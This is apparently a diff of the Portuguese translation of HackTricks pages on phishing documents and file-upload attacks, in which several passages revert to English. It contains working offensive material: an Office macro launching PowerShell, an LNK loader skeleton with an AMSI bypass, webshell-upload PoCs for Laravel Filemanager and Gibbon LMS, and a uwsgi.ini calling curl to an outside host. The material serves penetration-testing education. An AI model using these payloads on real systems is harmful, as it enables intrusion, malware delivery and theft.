diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 0b08cd566..5b5e832b6 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,14 +1,14 @@ -# Phishing Arquivos & Documentos +# Phishing Files & Documents {{#include ../../banners/hacktricks-training.md}} ## Documentos do Office -Microsoft Word realiza a validação dos dados do arquivo antes de abrir um arquivo. A validação de dados é feita na forma de identificação da estrutura de dados, em conformidade com o padrão OfficeOpenXML. Se ocorrer qualquer erro durante a identificação da estrutura de dados, o arquivo em análise não será aberto. +Microsoft Word realiza a validação dos dados do arquivo antes de abrir um arquivo. A validação dos dados é feita na forma de identificação da estrutura de dados, de acordo com o padrão OfficeOpenXML. Se ocorrer qualquer erro durante a identificação da estrutura de dados, o arquivo analisado não será aberto. -Geralmente, arquivos do Word que contêm macros usam a extensão `.docm`. No entanto, é possível renomear o arquivo alterando a extensão e ainda manter sua capacidade de execução de macros.\ +Normalmente, arquivos do Word que contêm macros usam a extensão `.docm`. No entanto, é possível renomear o arquivo alterando a extensão e ainda manter sua capacidade de executar macros.\ Por exemplo, um arquivo RTF não suporta macros, por design, mas um arquivo DOCM renomeado para RTF será tratado pelo Microsoft Word e será capaz de executar macros.\ -Os mesmos internals e mecanismos se aplicam a todo o software da Microsoft Office Suite (Excel, PowerPoint etc.). +Os mesmos mecanismos internos e processos se aplicam a todo o software da Microsoft Office Suite (Excel, PowerPoint etc.). Você pode usar o seguinte comando para verificar quais extensões serão executadas por alguns programas do Office: ```bash @@ -16,7 +16,7 @@ assoc | findstr /i "word excel powerp" ``` Arquivos DOCX que referenciam um template remoto (File –Options –Add-ins –Manage: Templates –Go) que inclui macros também podem “executar” macros. -### Carregamento Externo de Imagem +### Carregamento de Imagem Externa Vá para: _Insert --> Quick Parts --> Field_\ _**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http:///whatever @@ -29,7 +29,7 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi #### Funções Autoload -Quanto mais comuns forem, maior a probabilidade de o AV detectá‑las. +Quanto mais comuns forem, mais provável será que o AV as detecte. - AutoOpen() - Document_Open() @@ -64,26 +64,26 @@ Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` -#### Remover metadados manualmente +#### Remover manualmente os metadados Vá para **File > Info > Inspect Document > Inspect Document**, o que abrirá o Document Inspector. Clique em **Inspect** e depois em **Remove All** ao lado de **Document Properties and Personal Information**. -#### Extensão do Doc +#### Extensão do Documento -Ao terminar, selecione o menu suspenso **Save as type**, altere o formato de **`.docx`** para **Word 97-2003 `.doc`**.\ -Faça isso porque você não pode salvar macros dentro de um `.docx` e há um **estigma** **em torno** da extensão com macro habilitado **`.docm`** (por exemplo, o ícone em miniatura tem um grande `!` e alguns gateways web/email os bloqueiam completamente). Portanto, essa **extensão legada `.doc` é o melhor compromisso**. +Quando terminar, selecione o dropdown **Save as type**, altere o formato de **`.docx`** para **Word 97-2003 `.doc`**.\ +Faça isso porque você **não pode salvar macros dentro de um `.docx`** e existe um **estigma** **em torno** da extensão macro-enabled **`.docm`** (p.ex. o ícone de miniatura tem um grande `!` e alguns gateways web/email os bloqueiam totalmente). Portanto, essa **extensão legada `.doc` é o melhor compromisso**. -#### Geradores de Macros Maliciosas +#### Malicious Macros Generators - MacOS - [**macphish**](https://github.com/cldrn/macphish) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## Arquivos HTA +## HTA Files -Um HTA é um programa do Windows que **combina HTML and scripting languages (such as VBScript and JScript)**. Ele gera a interface do usuário e é executado como uma aplicação "totalmente confiável", sem as restrições do modelo de segurança de um navegador. +An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model. -Um HTA é executado usando **`mshta.exe`**, que normalmente vem **instalado** junto com o **Internet Explorer**, fazendo com que **`mshta` dependa do IE**. Portanto, se ele tiver sido desinstalado, HTAs não poderão ser executados. +An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute. ```html <--! Basic HTA Execution --> @@ -140,9 +140,9 @@ self.close ``` ## Forçando a autenticação NTLM -Existem várias formas de **forçar a autenticação NTLM "remotely"**, por exemplo, você pode adicionar **imagens invisíveis** em emails ou HTML que o usuário irá acessar (até mesmo HTTP MitM?). Ou enviar para a vítima o **endereço de arquivos** que irão **disparar** uma **autenticação** apenas ao **abrir a pasta.** +There are several ways to **force NTLM authentication "remotely"**, for example, you could add **invisible images** to emails or HTML that the user will access (even HTTP MitM?). Or send the victim the **address of files** that will **trigger** an **authentication** just for **opening the folder.** -**Confira essas ideias e mais nas páginas a seguir:** +**Check these ideas and more in the following pages:** {{#ref}} @@ -156,24 +156,24 @@ Existem várias formas de **forçar a autenticação NTLM "remotely"**, por exem ### NTLM Relay -Não esqueça que você pode não só roubar o hash ou a autenticação, mas também **perform NTLM relay attacks**: +Don't forget that you cannot only steal the hash or the authentication but also **perform NTLM relay attacks**: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Campanhas altamente eficazes entregam um ZIP que contém dois documentos decoy legítimos (PDF/DOCX) e um .lnk malicioso. O truque é que o loader PowerShell real está armazenado nos bytes brutos do ZIP após um marcador único, e o .lnk o extrai e executa completamente em memória. +Highly effective campaigns deliver a ZIP that contains two legitimate decoy documents (PDF/DOCX) and a malicious .lnk. The trick is that the actual PowerShell loader is stored inside the ZIP’s raw bytes after a unique marker, and the .lnk carves and runs it fully in memory. -Fluxo típico implementado pelo one-liner PowerShell do .lnk: +Typical flow implemented by the .lnk PowerShell one-liner: -1) Localizar o ZIP original em caminhos comuns: Desktop, Downloads, Documents, %TEMP%, %ProgramData% e o diretório pai do diretório de trabalho atual. -2) Ler os bytes do ZIP e encontrar um marcador hardcoded (por exemplo, xFIQCV). Tudo após o marcador é o PowerShell payload embutido. -3) Copiar o ZIP para %ProgramData%, extrair lá e abrir o .docx decoy para parecer legítimo. -4) Bypassar o AMSI para o processo atual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) Deobfuscate a próxima etapa (por exemplo, remover todos os caracteres #) e executá-la na memória. +1) Locate the original ZIP in common paths: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory. +2) Read the ZIP bytes and find a hardcoded marker (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload. +3) Copy the ZIP to %ProgramData%, extract there, and open the decoy .docx to appear legitimate. +4) Contornar o AMSI para o processo atual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) Deobfuscate the next stage (e.g., remove all # characters) and execute it in memory. -Exemplo de skeleton PowerShell para carve e run a etapa embutida: +Example PowerShell skeleton to carve and run the embedded stage: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( @@ -191,32 +191,32 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` Notas -- A entrega frequentemente abusa de subdomínios PaaS reputáveis (por exemplo, *.herokuapp.com) e pode condicionar o acesso aos payloads (servir ZIPs benignos com base no IP/UA). -- A próxima etapa frequentemente descriptografa base64/XOR shellcode e o executa via Reflection.Emit + VirtualAlloc para minimizar artefatos em disco. +- A entrega frequentemente abusa de subdomínios PaaS reputados (e.g., *.herokuapp.com) e pode gate payloads (servir ZIPs benignos com base no IP/UA). +- A próxima etapa frequentemente descriptografa base64/XOR shellcode e o executa via Reflection.Emit + VirtualAlloc para minimizar artefatos no disco. -Persistência usada na mesma cadeia -- COM TypeLib hijacking of the Microsoft Web Browser control para que o IE/Explorer ou qualquer app que o incorpore reexecute o payload automaticamente. Veja detalhes e comandos prontos para uso aqui: +Persistence used in the same chain +- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} Hunting/IOCs -- Arquivos ZIP contendo a string marcador ASCII (por exemplo, xFIQCV) anexada aos dados do arquivo. -- .lnk que enumera pastas pai/usuário para localizar o ZIP e abre um documento de isca. -- Manipulação do AMSI via [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- Threads de negócio de longa duração terminando com links hospedados em domínios PaaS confiáveis. +- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data. +- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document. +- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed. +- Long-running business threads ending with links hosted under trusted PaaS domains. -## Arquivos do Windows para roubar hashes NTLM +## Windows files to steal NTLM hashes -Consulte a página sobre **lugares para roubar credenciais NTLM**: +Check the page about **places to steal NTLM creds**: {{#ref}} ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md {{#endref}} -## Referências +## References - [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) - [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 88cf3eea1..2d0c9582f 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -15,13 +15,13 @@ Outras extensões úteis: - **Perl**: _.pl, .cgi_ - **Erlang Yaws Web Server**: _.yaws_ -### Contornar verificações de extensão de arquivo +### Bypass verificações de extensões de arquivo -1. Se aplicável, **verifique** as **extensões anteriores.** Também teste usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._ -2. _Verifique **adicionar uma extensão válida antes** da extensão de execução (use as extensões anteriores também):_ +1. Se aplicável, **verifique** as **extensões anteriores.** Teste-as também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._ +2. _Verifique **adicionar uma extensão válida antes** da extensão de execução (use também as extensões anteriores):_ - _file.png.php_ - _file.png.Php5_ -3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforcear** todos os caracteres **ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões** previamente mencionadas_) +3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **bruteforce** todos os caracteres **ascii** e **Unicode**. (_Nota que você também pode tentar usar as **extensões** mencionadas **anteriormente**_) - _file.php%20_ - _file.php%0a_ - _file.php%00_ @@ -31,7 +31,7 @@ Outras extensões úteis: - _file._ - _file.php...._ - _file.pHp5...._ -4. Tente contornar as proteções **enganando o parser de extensão** do servidor com técnicas como **duplicação** da **extensão** ou **adição de junk** (**null** bytes) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._ +4. Tente contornar as proteções **enganando o parser de extensões** do lado do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados lixo** (bytes **null**) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._ - _file.png.php_ - _file.png.pHp5_ - _file.php#.png_ @@ -40,13 +40,13 @@ Outras extensões úteis: - _file.php%0a.png_ - _file.php%0d%0a.png_ - _file.phpJunk123png_ -5. Adicione **outra camada de extensões** ao cheque anterior: +5. Adicione **outra camada de extensões** ao teste anterior: - _file.png.jpg.php_ - _file.php%00.png%00.jpg_ -6. Tente colocar a **extensão de execução antes da extensão válida** e torça para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extensão** _**.php**_**, mas** não necessariamente terminando em .php** executará código): +6. Tente colocar a **extensão de execução antes da extensão válida** e torça para que o servidor esteja mal configurado. (useful to exploit Apache misconfigurations where anything with extension** _**.php**_**, but** not necessarily ending in .php** will execute code): - _ex: file.php.png_ -7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Neste caso, um caractere de dois-pontos ":" será inserido depois de uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (ex.: "file.asax:.jpg”). Este arquivo pode ser editado depois usando outras técnicas, como usar seu short filename. O padrão "**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um ponto depois desse padrão pode ser útil para contornar restrições adicionais (ex.: "file.asp::$data.”) -8. Tente quebrar os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso permanece. AAA<--SNIP-->AAA.php +7. Usando NTFS alternate data stream (ADS) no Windows. Nesse caso, um caractere dois-pontos ":" será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um arquivo vazio com a extensão proibida será criado no servidor (e.g. "file.asax:.jpg”). Esse arquivo pode ser editado depois usando outras técnicas, como usar seu short filename. O "**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.”) +8. Tente ultrapassar os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso permanece. AAA<--SNIP-->AAA.php ``` # Linux maximum 255 bytes @@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546 -Alguns handlers de upload removem ou normalizam caracteres de ponto finais do nome de arquivo salvo. No UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) em versões anteriores à 2.9.1, você pode contornar a validação de extensão por: +Some upload handlers trim or normalize trailing dot characters from the saved filename. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versions before 2.9.1, you can bypass extension validation by: -- Usar um MIME de imagem válido e header mágico correspondente (ex.: o PNG `\x89PNG\r\n\x1a\n`). -- Nomear o arquivo enviado com uma extensão PHP seguida de um ponto, por exemplo, `shell.php.`. -- O servidor remove o ponto final e persiste `shell.php`, que será executado se for colocado em um diretório servido pela web (armazenamento público padrão como `/storage/files/`). +- Using a valid image MIME and magic header (e.g., PNG’s `\x89PNG\r\n\x1a\n`). +- Naming the uploaded file with a PHP extension followed by a dot, e.g., `shell.php.`. +- The server strips the trailing dot and persists `shell.php`, which will execute if it’s placed in a web-served directory (default public storage like `/storage/files/`). -PoC mínimo (Burp Repeater): +Minimal PoC (Burp Repeater): ```http POST /profile/avatar HTTP/1.1 Host: target @@ -80,65 +80,65 @@ Content-Type: image/png \x89PNG\r\n\x1a\n ------WebKitFormBoundary-- ``` -Em seguida, acesse o caminho salvo (típico em Laravel + LFM): +Então acesse o caminho salvo (típico em Laravel + LFM): ``` GET /storage/files/0xdf.php?cmd=id ``` Mitigações: -- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1. -- Implemente allowlists estritas no lado do servidor e revalide o nome de arquivo persistido. +- Atualize unisharp/laravel-filemanager para ≥ 2.9.1. +- Imponha allowlists estritas no lado do servidor e revalide o filename persistido. - Sirva uploads a partir de locais não executáveis. -### Bypass Content-Type, Magic Number, Compression & Resizing +### Contornar Content-Type, Magic Number, Compression & Resizing -- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_ +- Contorne as verificações de **Content-Type** definindo o **valor** do **header** **Content-Type** para: _image/png_ , _text/plain , application/octet-stream_ 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -- Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\ +- Contorne a verificação de **magic number** adicionando no início do arquivo os **bytes de uma imagem real** (para confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\ `exiftool -Comment="' >> img.png` -- Se **compressions is being added to your image**, por exemplo usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**. +- Se **compressão** estiver sendo aplicada à sua imagem, por exemplo usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar o **PLTE chunk** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. Contudo, você pode usar o **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**. +- A página web também pode estar **redimensionando** a **imagem**, usando por exemplo as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar o **IDAT chunk** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -- Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar o **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir texto que **sobreviverá à compressão**. +- Outra técnica para criar um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar o **tEXt chunk** [**técnica definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviva à compressão**. - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) -### Other Tricks to check +### Outros truques para verificar -- Encontre uma vulnerabilidade para **rename** o arquivo já uploaded (para mudar a extensão). +- Encontre uma vulnerabilidade para **renomear** o arquivo já enviado (para mudar a extensão). - Encontre uma vulnerabilidade de **Local File Inclusion** para executar o backdoor. -- **Possible Information disclosure**: -1. Upload **diversas vezes** (e ao **mesmo tempo**) o **mesmo arquivo** com o **mesmo nome** -2. Upload um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe** -3. Upload de um arquivo com **"." , "..", or "…" como nome**. Por exemplo, no Apache em **Windows**, se a aplicação salva os arquivos enviados no diretório "/www/uploads/", o nome de arquivo "." criará um arquivo chamado "uploads" no diretório "/www/". -4. Upload de um arquivo que pode não ser facilmente deletado, tal como **"…:.jpg"** em **NTFS**. (Windows) -5. Upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` no nome. (Windows) -6. Upload de um arquivo no **Windows** usando nomes **reservados** (**proibidos**) tais como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9. -- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando aberto acidentalmente pela vítima. +- **Possível divulgação de informação**: +1. Faça upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome** +2. Faça upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe** +3. Fazer upload de um arquivo com **"." , ".." ou "…" como nome**. Por exemplo, no Apache em **Windows**, se a aplicação salva os arquivos enviados no diretório "/www/uploads/", o nome de arquivo "." vai criar um arquivo chamado "uploads" no diretório "/www/". +4. Faça upload de um arquivo que pode não ser deletado facilmente, como **"…:.jpg"** em **NTFS**. (Windows) +5. Faça upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` no seu nome. (Windows) +6. Faça upload de um arquivo no **Windows** usando nomes **reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, e LPT9. +- Tente também **fazer upload de um executável** (.exe) ou um **.html** (menos suspeito) que **execute código** quando aberto acidentalmente pela vítima. -### Special extension tricks +### Truques com extensões especiais -Se você estiver tentando enviar arquivos para um **PHP server**, [dê uma olhada no truque do **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Se você estiver tentando enviar arquivos para um **ASP server**, [dê uma olhada no truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Se você está tentando fazer upload de arquivos para um **servidor PHP**, [veja o truque do **.htaccess** para executar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Se você está tentando fazer upload de arquivos para um **servidor ASP**, [veja o truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...) +Os arquivos `.phar` são como os `.jar` para Java, mas para PHP, e podem ser **usados como um arquivo php** (executando-os com php, ou incluindo-os dentro de um script...). -A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum ponto, alguém poderia ter permitido **que essa extensão fosse executada**. +A extensão `.inc` às vezes é usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum ponto, alguém pode ter permitido **que essa extensão seja executada**. ## **Jetty RCE** -Se você conseguir enviar um arquivo XML para um servidor Jetty você pode obter [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Portanto, como mencionado na imagem a seguir, envie o arquivo XML para `$JETTY_BASE/webapps/` e espere o shell! +Se você conseguir fazer upload de um arquivo XML em um servidor Jetty você pode obter [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, envie o arquivo XML para `$JETTY_BASE/webapps/` e espere o shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Fornecendo uma exploração detalhada desta vulnerabilidade, consulte a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Para uma exploração detalhada desta vulnerabilidade confira a pesquisa original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração uWSGI utilizam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como `@(filename)`, é projetado para incluir o conteúdo de um arquivo. Entre os vários schemes suportados no uWSGI, o scheme "exec" é particularmente potente, permitindo a leitura de dados a partir do stdout de um processo. Essa funcionalidade pode ser manipulada para fins nefastos como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo `.ini` é processado. +Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração `.ini`. Os arquivos de configuração do uWSGI usam uma sintaxe específica para incorporar variáveis "mágicas", placeholders e operadores. Notadamente, o operador '@', utilizado como `@(filename)`, serve para incluir o conteúdo de um arquivo. Entre os vários schemes suportados no uWSGI, o scheme "exec" é particularmente potente, permitindo a leitura de dados a partir do stdout de um processo. Essa funcionalidade pode ser manipulada para fins nefastos como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração `.ini` é processado. -Considere o seguinte exemplo de um `uwsgi.ini` malicioso, demonstrando vários schemes: +Considere o seguinte exemplo de um arquivo `uwsgi.ini` malicioso, demonstrando vários schemes: ```ini [uwsgi] ; read from a symbol @@ -156,22 +156,22 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e parseada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um ataque de Denial of Service) ou o arquivo deve ser configurado para auto-reload. A funcionalidade auto-reload, se habilitada, recarrega o arquivo em intervalos especificados ao detectar mudanças. +A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e parseada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um ataque de Denial of Service) ou o arquivo deve estar configurado para auto-reload. A funcionalidade auto-reload, se habilitada, recarrega o arquivo em intervalos especificados ao detectar mudanças. -É crucial entender a natureza permissiva do parsing do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial. +É crucial entender a natureza lax do parsing dos arquivos de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial. -### Gibbon LMS escrita arbitrária de arquivo para RCE pré-auth (CVE-2023-45878) +### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878) -Um endpoint não autenticado no Gibbon LMS permite escrita arbitrária de arquivos dentro do web root, levando a RCE pré-auth ao enviar um arquivo PHP. Versões vulneráveis: até e incluindo 25.0.01. +Um endpoint não autenticado no Gibbon LMS permite gravação arbitrária de arquivos dentro do web root, levando a RCE pré-auth ao gravar um arquivo PHP. Versões vulneráveis: até e incluindo 25.0.01. - Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php` - Method: POST -- Required params: -- `img`: data-URI-like string: `[mime];[name],[base64]` (o servidor ignora type/name e decodifica em base64 a parte final) -- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`) -- `gibbonPersonID`: any non-empty value is accepted (e.g., `0000000001`) +- Parâmetros requeridos: +- `img`: data-URI-like string: `[mime];[name],[base64]` (o servidor ignora type/name, decodifica em base64 a parte final) +- `path`: nome de arquivo de destino relativo ao diretório de instalação do Gibbon (e.g., `poc.php` or `0xdf.php`) +- `gibbonPersonID`: qualquer valor não vazio é aceito (e.g., `0000000001`) -PoC mínimo para escrever e ler de volta um arquivo: +PoC mínimo para escrever e ler um arquivo: ```bash # Prepare test payload printf '0xdf was here!' | base64 @@ -184,7 +184,7 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \ # Verify write curl http://target/Gibbon-LMS/poc.php ``` -Enviar um webshell mínimo e executar comandos: +Faça upload de um webshell mínimo e execute comandos: ```bash # '' base64 # PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg== @@ -195,15 +195,15 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \ curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami' ``` Notas: -- O handler executa `base64_decode($_POST["img"])` após dividir por `;` e `,`, então grava os bytes em `$absolutePath . '/' . $_POST['path']` sem validar extensão/tipo. -- O código resultante é executado como o usuário do serviço web (por exemplo, XAMPP Apache on Windows). +- O handler executa `base64_decode($_POST["img"])` após dividir por `;` e `,`, então escreve bytes em `$absolutePath . '/' . $_POST['path']` sem validar extensão/tipo. +- O código resultante roda como o usuário do serviço web (por exemplo, XAMPP Apache no Windows). -Referências para este bug incluem o advisory do usd HeroLab e a entrada NVD. Veja a seção Referências abaixo. +Referências para este bug incluem o usd HeroLab advisory e a entrada do NVD. Veja a seção Referências abaixo. ## **wget File Upload/SSRF Trick** -Em algumas ocasiões você pode descobrir que um servidor está usando **`wget`** para **download files** e você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando que a extensão dos arquivos baixados está em uma whitelist para assegurar que apenas arquivos permitidos serão baixados. Contudo, **this check can be bypassed.**\ -O **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"*232+".php"**. +Em algumas ocasiões você pode descobrir que um servidor está usando **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando que a extensão dos arquivos baixados está dentro de uma whitelist para assegurar que apenas arquivos permitidos serão baixados. No entanto, **essa verificação pode ser contornada.**\ +O **máximo** comprimento de um **nome do arquivo** em **linux** é **255**, no entanto, **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"*232+".php"+".gif"**, esse nome de arquivo irá **contornar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**) mas `wget` irá **renomear** o arquivo para **"A"*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -226,35 +226,60 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 